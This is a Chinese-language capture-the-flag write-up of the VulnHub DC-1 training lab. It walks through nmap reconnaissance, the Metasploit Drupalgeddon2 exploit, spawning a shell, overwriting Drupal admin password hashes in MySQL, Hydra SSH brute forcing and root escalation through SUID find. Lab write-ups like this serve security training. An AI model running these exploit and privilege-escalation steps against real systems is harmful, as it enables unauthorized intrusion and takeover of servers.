一.环境准备
1.kail虚拟机
2.DC-1靶场
官网下载 https://download.vulnhub.com/dc/DC-1.zip
确保靶场与kail处于同一网段;
二.渗透
1.打开靶场
登录界面出现即可
2..信息收集
1.探测目标ip
可以使用的工具arp-scan、nmap、netdiscover
这里我们用nmap
先看一下我们kail的ip
ifconfig
ip为192.168.91.140
再用nmap
nmap -sP 192.168.91.0/24
扫主机所在的网段
对照DC-1的MAC地址得到其ip 192.168.91.147
2.namp 扫描端口
nmap -sV -p- 192.168.91.147
80端口对应的是http协议,用浏览器访问
3.web端信息收集
使用kail自带的whatweb工具
whatweb -v 192.168.91.147
得知cms为Drupal ,再用dirsearch工具扫一下目录
dirsearch -u 192.168.91.147 -e *
得到如下信息:
CMS是Drupal
Apache 2.2.22
PHP 5.4.45
jQuery 1.4.4
3.漏洞查找利用
1.百度查找Drupal漏洞
2.用工具Metasploit
msfconsole
输入命令
search Drupal
可以了解该cms有很多漏洞,我们选择2018的漏洞(等级高且时间新)
4.漏洞利用
利用2018的漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
查看漏洞参数
show options
Current Setting是目前设置的内容
Required表是否需要设置内容,yes必须设置,no可以设置也可以不设置
RHOSTS需要设置被攻击机的ip
set RHOSTS 192.168.91.147
设置好参数攻击开始
exploit
出现Meterpreter session 1 opened(kali和被攻击目标ip的连接)证明攻击成功,接下来我们直接上shell
5.Get Shell
1.获取普通shell
shell
然后发送ls指令
2.获取交互式Shell
可以利用python实现互交shell,使用的前提是攻击主机上必须装有python
python -c 'import pty; pty.spawn("/bin/bash")'
但是现在该用户为普通用户,不是root管理员,也可以看一下文件。 翻一下发现flag1.txt文件,
直接打开
tac flag1.txt
每个好的CMS都需要一个配置文件,你也是 。我们再看看有没有其他flag文件
find / -name flag*
但是只有一个文件,那我们就去看看之前说的配置文件。一般来说配置文件都有一些特别重要的信息在里面,说不定还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行。
cat `find / -name settings.php`
好好发现一个数据库账号密码,登录一下。
登进去了,这样我们就可以为所欲为修改数据库了,先看看有什么东西
show databases;
接着使用数据库,并查看表
use drupaldb;show tables;
注意到users这个表,看一下有啥,先改小一点字体,不然可能会太大看不清。
select * from users;
得到二个用户
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
现在有个问题:密码太复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin。百度搜一下Drupal管理员密码忘记解决办法。
1.修改admin密码
我们必须先找到加密文件,Drupal的加密脚本在
/var/www/scripts/password-hash.sh
在当前目录下,我们先退出mysql
exit;
打开加密脚本
cat /var/www/scripts/password-hash.sh
这个脚本是用php写的,而且还能用php加参数直接运行,直接得到加密后的密码,这里我们设置一个密码123456 。
php /var/www/scripts/password-hash.sh 123456
获得加密的密码,当然是直接登录了,嘿嘿嘿。 然后我们登入mysql修改一下admin跟Fred的密码。
mysql -udbuser -pR0ck3t
use drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';
修改完成,然后我们登录web;
然后发现flag3文件,提示了我们一些信息passwd和shadow,明显是linux的文件
/etc/passwd
该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
/etc/shadow
该文件存储了系统用户的密码等信息,只有root权限用户才能读取
然后我们看一下用户信息
tac /etc/passwd
可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码
爆破用户密码
用Hydra爆破flag4的密码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.91.147
爆破密码为orange,然后我们用kali连接
我们用提权,利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
ssh flag4@192.168.91.147
打开flag4文件。
Linux提权
find比较常用,可以执行root权限的命令找查文件
find / -name index.php -exec "/bin/sh" \;
找查什么文件不重要,只需要格式对,然后后面加上
-exec "/bin/sh" \;
提权成功,找剩下的flag
cd /root
ls
cat *
拿到第五个flag,收工了!